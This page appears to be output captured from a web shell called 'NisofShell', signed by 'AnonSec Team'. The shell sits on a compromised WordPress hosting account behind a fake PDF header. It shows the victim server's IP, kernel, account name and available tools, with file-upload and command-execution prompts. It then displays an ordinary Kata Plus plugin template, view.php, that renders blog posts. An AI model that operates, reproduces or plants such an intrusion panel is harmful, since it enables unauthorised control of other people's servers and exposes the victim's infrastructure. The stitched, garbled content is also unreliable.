%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Nisof Was Here
NisofShell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.162
Web Server : Apache
System : Linux webm002.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : wellingtpa ( 97533)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wellingtpa/www/wp-content/plugins/kata-plus/includes/elementor/modules/blog-posts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/wellingtpa/www/wp-content/plugins/kata-plus/includes/elementor/modules/blog-posts/view.php
<?php
/**
 * Blog post module view.
 *
 * @author  ClimaxThemes
 * @package Kata Plus Pro
 * @since   1.0.0
 */

// Don't load directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
$settings = $this->get_settings();

if ( class_exists( 'Kata_Plus_Pro_Elementor' ) && ! empty( $settings['parallax'] ) ) {
	Kata_Plus_Pro_Elementor::start_parallax( $settings['parallax'], $settings['parallax_speed'], $settings['parallax_mouse_speed'] );
}

// Carousel Settings variables
$carousel_classes             = $settings['enable_carousel'] ? ' kata-owl owl-carousel owl-theme ' . $settings['inc_owl_pag_num'] : '';
$settings['inc_owl_arrow']    = $settings['inc_owl_arrow'] == 'true' ? 'true' : 'false';
$settings['inc_owl_pag']      = $settings['inc_owl_pag'] == 'true' && $settings['inc_owl_pag_num'] != 'dots-and-num' ? 'true' : 'false';
$settings['inc_owl_loop']     = $settings['inc_owl_loop'] == 'true' ? 'true' : 'false';
$settings['inc_owl_autoplay'] = $settings['inc_owl_autoplay'] == 'true' ? 'true' : 'false';
$settings['inc_owl_center']   = $settings['inc_owl_center'] == 'yes' ? 'true' : 'false';
$settings['active_item']      = isset( $settings['active_item'] ) && $settings['inc_owl_center'] !== 'true' ? $settings['active_item'] : 'none';
$settings['inc_owl_vert']     = $settings['inc_owl_vert'] == 'true' ? 'true' : 'false';
$animateout                   = $settings['inc_owl_vert'] == 'true' ? 'fadeOutUp' : '';
$animatein                    = $settings['inc_owl_vert'] == 'true' ? 'fadeInUp' : '';
$settings['inc_owl_rtl']      = $settings['inc_owl_rtl'] == 'true' ? 'true' : 'false';
$settings['inc_owl_stgpad_tablet']['size'] = isset( $settings['inc_owl_stgpad_tablet']['size'] ) ? $settings['inc_owl_stgpad_tablet']['size'] : '0';
$settings['inc_owl_stgpad_mobile']['size'] = isset( $settings['inc_owl_stgpad_mobile']['size'] ) ? $settings['inc_owl_stgpad_mobile']['size'] : '0';
$settings['inc_owl_margin_tablet']['size'] = isset( $settings['inc_owl_margin_tablet']['size'] ) ? $settings['inc_owl_margin_tablet']['size'] : '0';
$settings['inc_owl_margin_mobile']['size'] = isset( $settings['inc_owl_margin_mobile']['size'] ) ? $settings['inc_owl_margin_mobile']['size'] : '0';
$settings['inc_owl_thumbnail']             = $settings['inc_owl_thumbnail'] == 'true' ? ' data-inc_thumbs=' . $settings['inc_owl_thumbnail'] . ' data-inc_thumbimage=true data-inc_thumbContainerClass=owl-thumbs data-inc_thumbItemClass=owl-thumb-item' : '';
$slide_speed                               = $settings['inc_owl_spd']['size'];
$post_per_page                             = $settings['load_more_button'] === 'yes' && 'yes' !== $settings['enable_carousel'] ? -1 : $settings['post_per_page'];
$x = 'yes' == $settings['first_post'] ? 1 : '';
$j = 1;

// Query variables
$query_categories = $settings['query_categories'];
$last_category    = end( $query_categories );
$category_name    = '';
foreach ( $query_categories as $key => $value ) {
	$category_name .= $value;
	if ( $value != $last_category ) {
		$category_name .= ', ';
	}
}
$query_tags = $settings['query_tags'];
$last_tag   = end( $query_tags );
$tag_name   = '';
foreach ( $query_tags as $key => $value ) {
	$tag_name .= $value;
	if ( $value != $last_tag ) {
		$tag_name .= ', ';
	}
}

if ( get_query_var( 'paged' ) ) {
	$paged = esc_html( get_query_var( 'paged' ) );
} elseif ( get_query_var( 'page' ) ) {
	$paged = esc_html( get_query_var( 'page' ) );
} else {
	$paged = 1;
}

if ( $settings['sort_by'] == 'yes' ) {
	$settings['query_order_by'] = ( isset( $_GET['query_order_by'] ) ) ? $_GET['query_order_by'] : 'date';
}

if ( 'most_liked' == $settings['query_order_by'] ) {
	if ( $settings['post_pagination'] && ! $settings['enable_carousel'] ) {
		$the_query = new \WP_Query(
			array(
				'post_type'      => 'post',
				'post_status'    => 'publish',
				'posts_per_page' => $post_per_page,
				'paged'          => $paged,
				'category_name'  => $category_name,
				'tag'            => $tag_name,
				'meta_key'       => '_zilla_likes',
				'orderby'        => array(
					'meta_value_num' => $settings['query_order'],
				),
			)
		);
	} else {
		$the_query = new \WP_Query(
			array(
				'post_type'      => 'post',
				'post_status'    => 'publish',
				'posts_per_page' => $post_per_page,
				'category_name'  => $category_name,
				'tag'            => $tag_name,
				'meta_key'       => '_zilla_likes',
				'orderby'        => array(
					'meta_value_num' => $settings['query_order'],
				),
			)
		);
	}
} elseif ( 'most_viewed' == $settings['query_order_by'] ) {
	if ( $settings['post_pagination'] && ! $settings['enable_carousel'] ) {
		$the_query = new \WP_Query(
			array(
				'post_type'      => 'post',
				'post_status'    => 'publish',
				'posts_per_page' => $post_per_page,
				'paged'          => $paged,
				'category_name'  => $category_name,
				'tag'            => $tag_name,
				'meta_key'       => 'kata_post_view',
				'orderby'        => array(
					'meta_value_num' => $settings['query_order'],
				),
			)
		);
	} else {
		$the_query = new \WP_Query(
			array(
				'post_type'      => 'post',
				'post_status'    => 'publish',
				'posts_per_page' => $post_per_page,
				'category_name'  => $category_name,
				'tag'            => $tag_name,
				'meta_key'       => 'kata_post_view',
				'orderby'        => array(
					'meta_value_num' => $settings['query_order'],
				),
			)
		);
	}
} elseif ( $settings['post_pagination'] && ! $settings['enable_carousel'] ) {
		$the_query = new \WP_Query(
			array(
				'post_type'      => 'post',
				'post_status'    => 'publish',
				'posts_per_page' => $post_per_page,
				'paged'          => $paged,
				'category_name'  => $category_name,
				'tag'            => $tag_name,
				'orderby'        => $settings['query_order_by'],
				'order'          => $settings['query_order'],
			)
		);
} else {
	$the_query = new \WP_Query(
		array(
			'post_type'      => 'post',
			'post_status'    => 'publish',
			'posts_per_page' => $post_per_page,
			'category_name'  => $category_name,
			'tag'            => $tag_name,
			'orderby'        => $settings['query_order_by'],
			'order'          => $settings['query_order'],
		)
	);
}

// start copy
if ( $settings['enable_carousel'] ) {
	$owl = array();
	$owl['inc_owl_item'] = ! empty( $settings['inc_owl_item'] ) ? $settings['inc_owl_item'] : '3';
	$owl['inc_owl_item_laptop'] = ! empty( $settings['inc_owl_item_laptop'] ) ? $settings['inc_owl_item_laptop'] : $owl['inc_owl_item'];
	$owl['inc_owl_item_tablet_extra'] = ! empty( $settings['inc_owl_item_tablet_extra'] ) ? $settings['inc_owl_item_tablet_extra'] : $owl['inc_owl_item_laptop'];
	$owl['inc_owl_item_tablet'] = ! empty( $settings['inc_owl_item_tablet'] ) ? $settings['inc_owl_item_tablet'] : $owl['inc_owl_item_tablet_extra'];
	$owl['inc_owl_item_mobile_extra'] = ! empty( $settings['inc_owl_item_mobile_extra'] ) ? $settings['inc_owl_item_mobile_extra'] : $owl['inc_owl_item_tablet'];
	$owl['inc_owl_item_mobile'] = ! empty( $settings['inc_owl_item_mobile'] ) ? $settings['inc_owl_item_mobile'] : $owl['inc_owl_item_mobile_extra'];
	?>
	<div
	class="kata-blog-posts<?php echo esc_attr( $carousel_classes ); ?>"
	data-inc_owl_items="<?php echo esc_attr( json_encode( $owl ) ); ?>"
	data-inc_owl_spd="<?php echo esc_attr( $slide_speed ); ?>"
	data-inc_owl_smspd="<?php echo esc_attr( $settings['inc_owl_smspd']['size'] ); ?>"
	data-inc_owl_stgpad="<?php echo esc_attr( $settings['inc_owl_stgpad']['size'] ); ?>"
	data-inc_owl_stgpadtab="<?php echo esc_attr( $settings['inc_owl_stgpad_tablet']['size'] ); ?>"
	data-inc_owl_stgpadmob="<?php echo esc_attr( $settings['inc_owl_stgpad_mobile']['size'] ); ?>"
	data-inc_owl_margin="<?php echo esc_attr( $settings['inc_owl_margin']['size'] ); ?>"
	data-inc_owl_margintab="<?php echo esc_attr( $settings['inc_owl_margin_tablet']['size'] ); ?>"
	data-inc_owl_marginmob="<?php echo esc_attr( $settings['inc_owl_margin_mobile']['size'] ); ?>"
	data-inc_owl_arrow="<?php echo esc_attr( $settings['inc_owl_arrow'] ); ?>"
	data-inc_owl_pag="<?php echo esc_attr( $settings['inc_owl_pag'] ); ?>"
	data-inc_owl_loop="<?php echo esc_attr( $settings['inc_owl_loop'] ); ?>"
	data-inc_owl_autoplay="<?php echo esc_attr( $settings['inc_owl_autoplay'] ); ?>"
	data-inc_owl_center="<?php echo esc_attr( $settings['inc_owl_center'] ); ?>"
	data-animatein="<?php echo esc_attr( $animatein ); ?>"
	data-animateout="<?php echo esc_attr( $animateout ); ?>"
	data-inc_owl_prev="<?php echo base64_encode( Kata_Plus_Helpers::get_icon( '', $settings['inc_owl_prev'], '', '' ) ); ?>"
	data-inc_owl_nxt="<?php echo base64_encode( Kata_Plus_Helpers::get_icon( '', $settings['inc_owl_nxt'], '', '' ) ); ?>"
	data-inc_owl_rtl="<?php echo esc_attr( $settings['inc_owl_rtl'] ); ?>"
	data-active-item="<?php echo esc_attr( $settings['active_item'] ); ?>"
	<?php echo ' ' . esc_attr( $settings['inc_owl_thumbnail'] ) . ' '; ?>
>
	<?php
} else {
	$load_more = $settings['load_more_button'] === 'yes' ? ' data-loadmore="' . esc_attr( $settings['post_per_page'] ) . '" data-showedposts="' . esc_attr( ( $settings['post_per_page'] + $settings['post_per_page'] ) ) . '"' : '';
	echo '<div class="kata-blog-posts"' . $load_more . '>';
}
if ( $settings['sort_by'] == 'yes' ) {
	$selected    = isset( $_GET['query_order_by'] ) ? sanitize_text_field( $_GET['query_order_by'] ) : '';
	$sorting_url = is_ssl() ? 'https://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] : 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
	?>
	<select class="ktbl-sortoptions">
		<option value="<?php echo esc_url( add_query_arg( array( 'query_order_by' => 'date' ), esc_url( $sorting_url ) ) ); ?>"<?php echo esc_attr( $selected == 'date' ? ' selected' : '' ); ?>><?php echo __( 'Recent', 'kata-plus' ); ?></option>
		<option value="<?php echo esc_url( add_query_arg( array( 'query_order_by' => 'most_viewed' ), esc_url( $sorting_url ) ) ); ?>"<?php echo esc_attr( $selected == 'most_viewed' ? ' selected' : '' ); ?>><?php echo __( 'Popular', 'kata-plus' ); ?></option>
		<option value="<?php echo esc_url( add_query_arg( array( 'query_order_by' => 'most_liked' ), esc_url( $sorting_url ) ) ); ?>"<?php echo esc_attr( $selected == 'most_liked' ? ' selected' : '' ); ?>><?php echo __( 'Trend', 'kata-plus' ); ?></option>
	</select>
	<?php
}
if ( $the_query->have_posts() ) :
	while ( $the_query->have_posts() ) :
		$the_query->the_post();
		global $post;
		if ( $x == 1 ) {
			++$x;
			?>
			<div <?php post_class( 'kata-blog-post kata-first-post' ); ?>>
				<?php
				foreach ( $settings['post_repeaters_2'] as $index => $post_repeater ) :
					$post_repeater['date_format_1'] = 'yes' == $post_repeater['custom_date_format'] && isset( $post_repeater['date_format_1'] ) && ! empty( $post_repeater['date_format_1'] ) ? $post_repeater['date_format_1'] : '';
					$post_repeater['date_format_2'] = 'yes' == $post_repeater['custom_date_format'] && isset( $post_repeater['date_format_2'] ) && ! empty( $post_repeater['date_format_2'] ) ? $post_repeater['date_format_2'] : '';
					$post_repeater['date_format_3'] = 'yes' == $post_repeater['custom_date_format'] && isset( $post_repeater['date_format_3'] ) && ! empty( $post_repeater['date_format_3'] ) ? $post_repeater['date_format_3'] : '';
					switch ( $post_repeater['post_repeater_select_2'] ) {
						case 'title':
							$post_repeater['title_animation'] = isset( $post_repeater['title_animation'] ) && $post_repeater['title_animation'] != 'none' ? ' ' . $post_repeater['title_animation'] : '';
							echo '<' . Kata_Plus_Helpers::whitelist_html_tags( $post_repeater['posts_title_tag'], 'h3' ) . ' class="kata-post-title' . esc_attr( $post_repeater['title_animation'] ) . '"><a href="' . get_permalink() . '">' . get_the_title() . '</a></' . Kata_Plus_Helpers::whitelist_html_tags( $post_repeater['posts_title_tag'], 'h3' ) . '>';
							break;
						case 'excerpt':
							if ( class_exists( 'Kata_Template_Tags' ) ) {
								$ignore_port_format = $post_repeater['ignore_port_format'] == 'yes' ? true : false;
								echo '<p class="kata-post-excerpt">' . Kata_Template_Tags::excerpt( $post_repeater['excerpt_length']['size'], $ignore_port_format ) . '</p>';
							}
							break;
						case 'thumbnail':
							if ( has_post_thumbnail( get_the_ID() ) ) {
								$post_repeater['posts_thumbnail_custom_size']['width']  = $post_repeater['posts_thumbnail_custom_size']['width'] ? $post_repeater['posts_thumbnail_custom_size']['width'] : 150;
								$post_repeater['posts_thumbnail_custom_size']['height'] = $post_repeater['posts_thumbnail_custom_size']['height'] ? $post_repeater['posts_thumbnail_custom_size']['height'] : 150;
								$thumbnail_size = 'custom' !== $post_repeater['thumbnail_size'] ? $post_repeater['thumbnail_size'] : array( $post_repeater['posts_thumbnail_custom_size']['width'], $post_repeater['posts_thumbnail_custom_size']['height'] );
								$video          = Kata_Plus_Helpers::video_player( Kata_Plus_Helpers::get_meta_box( 'kata_post_video', get_the_ID() ) ) ? Kata_Plus_Helpers::video_player( Kata_Plus_Helpers::get_meta_box( 'kata_post_video', get_the_ID() ) ) : '';
								$owl_thumbs     = $settings['inc_owl_thumbnail'] ? 'data-thumb-size="' . Kata_Plus_Pro_Helpers::image_resize( get_post_thumbnail_id(), array( $settings['thumbs_size']['width'], $settings['thumbs_size']['height'] ) ) . '"' : '';
								echo '<div class="kata-post-thumbnail kata-lazyload"' . $video . '>';
									echo '<a href="' . get_the_permalink() . '">';
										Kata_Plus_Helpers::image_resize_output( get_post_thumbnail_id(), $thumbnail_size );
									echo '</a>';
								echo '</div>';
							}
							break;
						case 'post_format':
							if ( class_exists( 'Kata_Plus_Helpers' ) ) {
								$post_format_icons = array(
									'gallery'  => $post_repeater['post_format_gallery_icon'],
									'link'     => $post_repeater['post_format_link_icon'],
									'image'    => $post_repeater['post_format_image_icon'],
									'quote'    => $post_repeater['post_format_quote_icon'],
									'status'   => $post_repeater['post_format_status_icon'],
									'video'    => $post_repeater['post_format_video_icon'],
									'aside'    => $post_repeater['post_format_aside_icon'],
									'standard' => $post_repeater['post_format_standard_icon'],
								);
								Kata_Plus_Helpers::post_format_icon( $post_format_icons );
							}
							break;
						case 'categories':
							if ( class_exists( 'Kata_Template_Tags' ) ) {
								Kata_Template_Tags::post_categories( $post_repeater['terms_separator'], Kata_Plus_Helpers::get_icon( '', $post_repeater['post_category_icon'], 'df-fill' ) );
							}
							break;
						case 'tags':
							if ( class_exists( 'Kata_Template_Tags' ) ) {
								Kata_Template_Tags::post_tags( $post_repeater['terms_separator'], Kata_Plus_Helpers::get_icon( '', $post_repeater['post_tag_icon'], 'df-fill' ) );
							}
							break;
						case 'date':
							if ( class_exists( 'Kata_Template_Tags' ) ) {
								Kata_Template_Tags::post_date( Kata_Plus_Helpers::get_icon( '', $post_repeater['post_date_icon'], 'df-fill' ), $post_repeater['date_format_1'], $post_repeater['date_format_2'], $post_repeater['date_format_3'] );
							}
							break;
						case 'bookmark':
							if ( class_exists( 'Kata_Template_Tags' ) ) {
								Kata_Template_Tags::posts_bookmark( Kata_Plus_Helpers::get_icon( '', $post_repeater['bookmark_icon'], 'df-fill' ) );
							}
							break;
						case 'comments':
							if ( class_exists( 'Kata_Template_Tags' ) ) {
								Kata_Template_Tags::post_comments_number( Kata_Plus_Helpers::get_icon( '', $post_repeater['post_comments_icon'], 'df-fill' ) );
							}
							break;
						case 'author':
							if ( class_exists( 'Kata_Template_Tags' ) ) {
								Kata_Template_Tags::post_author( Kata_Plus_Helpers::get_icon( '', $post_repeater['post_author_icon'], 'df-fill' ), $post_repeater['post_author_symbol'], $post_repeater['avatar_size'] );
							}
							break;
						case 'time_to_read':
							if ( class_exists( 'Kata_Template_Tags' ) ) {
								Kata_Template_Tags::post_time_to_read( Kata_Plus_Helpers::get_icon( '', $post_repeater['post_time_to_read_icon'], 'df-fill' ) );
							}
							break;
						case 'share_post':
							if ( class_exists( 'Kata_Template_Tags' ) ) {
								Kata_Template_Tags::social_share( 'toggle', $post_repeater['share_post_icon'] );
							}
							break;
						case 'share_post_counter':
							if ( class_exists( 'Kata_Template_Tags' ) ) {
								Kata_Template_Tags::post_share_count( Kata_Plus_Helpers::get_icon( '', $post_repeater['post_share_post_counter_icon'], 'df-fill' ) );
							}
							break;
						case 'post_like':
							if ( function_exists( 'zilla_likes' ) ) {
								zilla_likes();
							}
							break;
						case 'post_view':
							if ( class_exists( 'Kata_Template_Tags' ) ) {
								Kata_Template_Tags::post_view( Kata_Plus_Helpers::get_icon( '', $post_repeater['post_view_icon'], 'df-fill' ) );
							}
							break;
						case 'read_more':
							echo '<a href="' . get_the_permalink() . '" class="kata-post-readmore">' . wp_kses_post( $post_repeater['read_more_text'] ) . '</a>';
							break;
						case 'start_content_wrapper':
							echo '<div class="kata-post-content">';
							break;
						case 'end_content_wrapper':
							echo '</div>';
							break;
						case 'start_meta_data_wrapper':
							echo '<div class="kata-post-metadata">';
							break;
						case 'end_meta_data_wrapper':
							echo '</div>';
							break;
					}
				endforeach;
				?>
			</div>
			<?php
			continue;
		} else {
			if ( $j == 1 && ! $settings['enable_carousel'] ) {
				?>
				<div class="ktbl-post-wrapper row">
				<?php
			}
			?>
			<div <?php post_class( 'kata-blog-post' ); ?> data-postid="<?php echo esc_attr( get_the_ID() ); ?>">
				<?php
				foreach ( $settings['post_repeaters'] as $index => $post_repeater ) :
					$post_repeater['date_format_1'] = 'yes' == $post_repeater['custom_date_format'] && isset( $post_repeater['date_format_1'] ) && ! empty( $post_repeater['date_format_1'] ) ? $post_repeater['date_format_1'] : '';
					$post_repeater['date_format_2'] = 'yes' == $post_repeater['custom_date_format'] && isset( $post_repeater['date_format_2'] ) && ! empty( $post_repeater['date_format_2'] ) ? $post_repeater['date_format_2'] : '';
					$post_repeater['date_format_3'] = 'yes' == $post_repeater['custom_date_format'] && isset( $post_repeater['date_format_3'] ) && ! empty( $post_repeater['date_format_3'] ) ? $post_repeater['date_format_3'] : '';
					switch ( $post_repeater['post_repeater_select'] ) {
						case 'title':
							$post_repeater['title_animation'] = isset( $post_repeater['title_animation'] ) && $post_repeater['title_animation'] != 'none' ? ' ' . $post_repeater['title_animation'] : '';
							echo '<' . Kata_Plus_Helpers::whitelist_html_tags( $post_repeater['posts_title_tag'], 'h3' ) . ' class="kata-post-title' . esc_attr( $post_repeater['title_animation'] ) . '"><a href="' . get_permalink() . '">' . get_the_title() . '</a></' . Kata_Plus_Helpers::whitelist_html_tags( $post_repeater['posts_title_tag'], 'h3' ) . '>';
							break;
						case 'excerpt':
							if ( class_exists( 'Kata_Template_Tags' ) ) {
								$ignore_port_format = $post_repeater['ignore_port_format'] == 'yes' ? true : false;
								echo '<p class="kata-post-excerpt">' . Kata_Template_Tags::excerpt( $post_repeater['excerpt_length']['size'], $ignore_port_format ) . '</p>';
							}
							break;
						case 'thumbnail':
							if ( has_post_thumbnail( get_the_ID() ) ) {
								$post_repeater['posts_thumbnail_custom_size']['width']  = $post_repeater['posts_thumbnail_custom_size']['width'] ? $post_repeater['posts_thumbnail_custom_size']['width'] : 150;
								$post_repeater['posts_thumbnail_custom_size']['height'] = $post_repeater['posts_thumbnail_custom_size']['height'] ? $post_repeater['posts_thumbnail_custom_size']['height'] : 150;
								$thumbnail_size = 'custom' !== $post_repeater['thumbnail_size'] ? $post_repeater['thumbnail_size'] : array( $post_repeater['posts_thumbnail_custom_size']['width'], $post_repeater['posts_thumbnail_custom_size']['height'] );
								$video          = Kata_Plus_Helpers::video_player( Kata_Plus_Helpers::get_meta_box( 'kata_post_video', get_the_ID() ) ) ? Kata_Plus_Helpers::video_player( Kata_Plus_Helpers::get_meta_box( 'kata_post_video', get_the_ID() ) ) : '';
								$owl_thumbs     = $settings['inc_owl_thumbnail'] ? 'data-thumb-size="' . Kata_Plus_Pro_Helpers::image_resize( get_post_thumbnail_id(), array( $settings['thumbs_size']['width'], $settings['thumbs_size']['height'] ) ) . '"' : '';
								echo '<div class="kata-post-thumbnail kata-lazyload"' . $video . '>';
									echo '<a href="' . get_the_permalink() . '">';
										Kata_Plus_Helpers::image_resize_output( get_post_thumbnail_id(), $thumbnail_size, $owl_thumbs );
									echo '</a>';
								echo '</div>';
							}
							break;
						case 'post_format':
							if ( class_exists( 'Kata_Plus_Helpers' ) ) {
								$post_format_icons = array(
									'gallery'  => $post_repeater['post_format_gallery_icon'],
									'link'     => $post_repeater['post_format_link_icon'],
									'image'    => $post_repeater['post_format_image_icon'],
									'quote'    => $post_repeater['post_format_quote_icon'],
									'status'   => $post_repeater['post_format_status_icon'],
									'video'    => $post_repeater['post_format_video_icon'],
									'aside'    => $post_repeater['post_format_aside_icon'],
									'standard' => $post_repeater['post_format_standard_icon'],
								);
								Kata_Plus_Helpers::post_format_icon( $post_format_icons );
							}
							break;
						case 'categories':
							if ( class_exists( 'Kata_Template_Tags' ) ) {
								Kata_Template_Tags::post_categories( $post_repeater['terms_separator'], Kata_Plus_Helpers::get_icon( '', $post_repeater['post_category_icon'], 'df-fill' ) );
							}
							break;
						case 'tags':
							if ( class_exists( 'Kata_Template_Tags' ) ) {
								Kata_Template_Tags::post_tags( $post_repeater['terms_separator'], Kata_Plus_Helpers::get_icon( '', $post_repeater['post_tag_icon'], 'df-fill' ) );
							}
							break;
						case 'date':
							if ( class_exists( 'Kata_Template_Tags' ) ) {
								Kata_Template_Tags::post_date( Kata_Plus_Helpers::get_icon( '', $post_repeater['post_date_icon'], 'df-fill' ), $post_repeater['date_format_1'], $post_repeater['date_format_2'], $post_repeater['date_format_3'] );
							}
							break;
						case 'bookmark':
							if ( class_exists( 'Kata_Template_Tags' ) ) {
								Kata_Template_Tags::posts_bookmark( Kata_Plus_Helpers::get_icon( '', $post_repeater['bookmark_icon'], 'df-fill' ) );
							}
							break;
						case 'comments':
							if ( class_exists( 'Kata_Template_Tags' ) ) {
								Kata_Template_Tags::post_comments_number( Kata_Plus_Helpers::get_icon( '', $post_repeater['post_comments_icon'], 'df-fill' ) );
							}
							break;
						case 'author':
							if ( class_exists( 'Kata_Template_Tags' ) ) {
								Kata_Template_Tags::post_author( Kata_Plus_Helpers::get_icon( '', $post_repeater['post_author_icon'], 'df-fill' ), $post_repeater['post_author_symbol'], $post_repeater['avatar_size'] );
							}
							break;
						case 'time_to_read':
							if ( class_exists( 'Kata_Template_Tags' ) ) {
								Kata_Template_Tags::post_time_to_read( Kata_Plus_Helpers::get_icon( '', $post_repeater['post_time_to_read_icon'], 'df-fill' ) );
							}
							break;
						case 'share_post':
							if ( class_exists( 'Kata_Template_Tags' ) ) {
								Kata_Template_Tags::social_share( 'toggle', $post_repeater['share_post_icon'] );
							}
							break;
						case 'share_post_counter':
							if ( class_exists( 'Kata_Template_Tags' ) ) {
								Kata_Template_Tags::post_share_count( Kata_Plus_Helpers::get_icon( '', $post_repeater['post_share_post_counter_icon'], 'df-fill' ) );
							}
							break;
						case 'post_like':
							if ( function_exists( 'zilla_likes' ) ) {
								zilla_likes();
							}
							break;
						case 'post_view':
							if ( class_exists( 'Kata_Template_Tags' ) ) {
								Kata_Template_Tags::post_view( Kata_Plus_Helpers::get_icon( '', $post_repeater['post_view_icon'], 'df-fill' ) );
							}
							break;
						case 'read_more':
							echo '<a href="' . get_the_permalink() . '" class="kata-post-readmore">' . wp_kses_post( $post_repeater['read_more_text'] ) . '</a>';
							break;
						case 'start_content_wrapper':
							echo '<div class="kata-post-content">';
							break;
						case 'end_content_wrapper':
							echo '</div>';
							break;
						case 'start_meta_data_wrapper':
							echo '<div class="kata-post-metadata">';
							break;
						case 'end_meta_data_wrapper':
							echo '</div>';
							break;
					}
				endforeach;
				?>
			</div>
			<?php
			if ( ! $settings['enable_carousel'] ) {
				++$j;
				if ( $the_query->found_posts < $post_per_page && ( $j - 1 ) == $the_query->found_posts && 'yes' != $settings['first_post'] ) {
					echo '</div>';
				} elseif ( $the_query->found_posts <= $post_per_page && $j == $the_query->found_posts && 'yes' == $settings['first_post'] ) {
					echo '</div>';
				} elseif ( ( $j - 1 ) == $post_per_page && 'yes' != $settings['first_post'] ) {
					echo '</div>';
				} elseif ( $j == $post_per_page && 'yes' == $settings['first_post'] ) {
					echo '</div>';
				} elseif ( $j < $post_per_page && ( $the_query->current_post + 1 ) == $the_query->post_count && 'yes' == $settings['first_post'] ) {
					echo '</div>';
				} elseif ( $j < $post_per_page && ( $the_query->current_post + 1 ) == $the_query->post_count && 'yes' != $settings['first_post'] ) {
					echo '</div>';
				} elseif ( $j <= $post_per_page && ( $the_query->current_post + 1 ) == $the_query->post_count && 'yes' != $settings['first_post'] ) {
					echo '</div>';
				} elseif ( $post_per_page == -1 && ( $the_query->current_post + 1 ) == $the_query->post_count && 'yes' == $settings['first_post'] ) {
					echo '</div>';
				} elseif ( $post_per_page == -1 && ( $the_query->current_post + 1 ) == $the_query->post_count && 'yes' != $settings['first_post'] ) {
					echo '</div>';
				}
			}
		}
	endwhile;

	// post Pagination
	if ( $settings['post_pagination'] && ! $settings['enable_carousel'] ) {
		echo '<div class="kata-post-pagination">';
			echo paginate_links(
				array(
					'base'         => str_replace( 999999999, '%#%', esc_url( get_pagenum_link( 999999999 ) ) ),
					'total'        => $the_query->max_num_pages,
					'current'      => max( 1, $paged ),
					'format'       => '?paged=%#%',
					'show_all'     => false,
					'type'         => 'plain',
					'end_size'     => 2,
					'mid_size'     => 1,
					'prev_next'    => false,
					'prev_text'    => sprintf( '<i></i> %1$s', __( 'Newer post', 'kata-plus' ) ),
					'next_text'    => sprintf( '%1$s <i></i>', __( 'Older post', 'kata-plus' ) ),
					'add_args'     => false,
					'add_fragment' => '',
				)
			);
		echo '</div>';
	}
	wp_reset_query();
	wp_reset_postdata();
endif;

if ( $settings['load_more_button'] === 'yes' && ! $settings['enable_carousel'] && isset( $settings['load_more_button_text'] ) ) {
	echo '
<div class="ktbl-load-more-wrap kata-plus-button-wrap">
	<a href="#" class="kata-button ktbl-load-more kata-button kata-lazyload dbg-color">
		<span>' . esc_html( $settings['load_more_button_text'] ) . '</span>
	</a>
</div>';
}

echo '</div> <!-- kata-plus-post-wrap -->';
?>

<?php if ( $settings['inc_owl_pag_num'] == 'dots-and-num' ) { ?>
	<div class="kata-owl-progress-bar">
		<div class="kata-progress-bar-inner dbg-color"></div>
	</div>
	<?php
}
if ( class_exists( 'Kata_Plus_Pro_Elementor' ) && ! empty( $settings['parallax'] ) ) {
	Kata_Plus_Pro_Elementor::end_parallax( $settings['parallax'] );
}
if ( isset( $settings['custom_css'] ) ) {
	Kata_Plus_Elementor::module_custom_css_editor( $settings['custom_css'] );
}
// end copy

Anon7 - 2022
AnonSec Team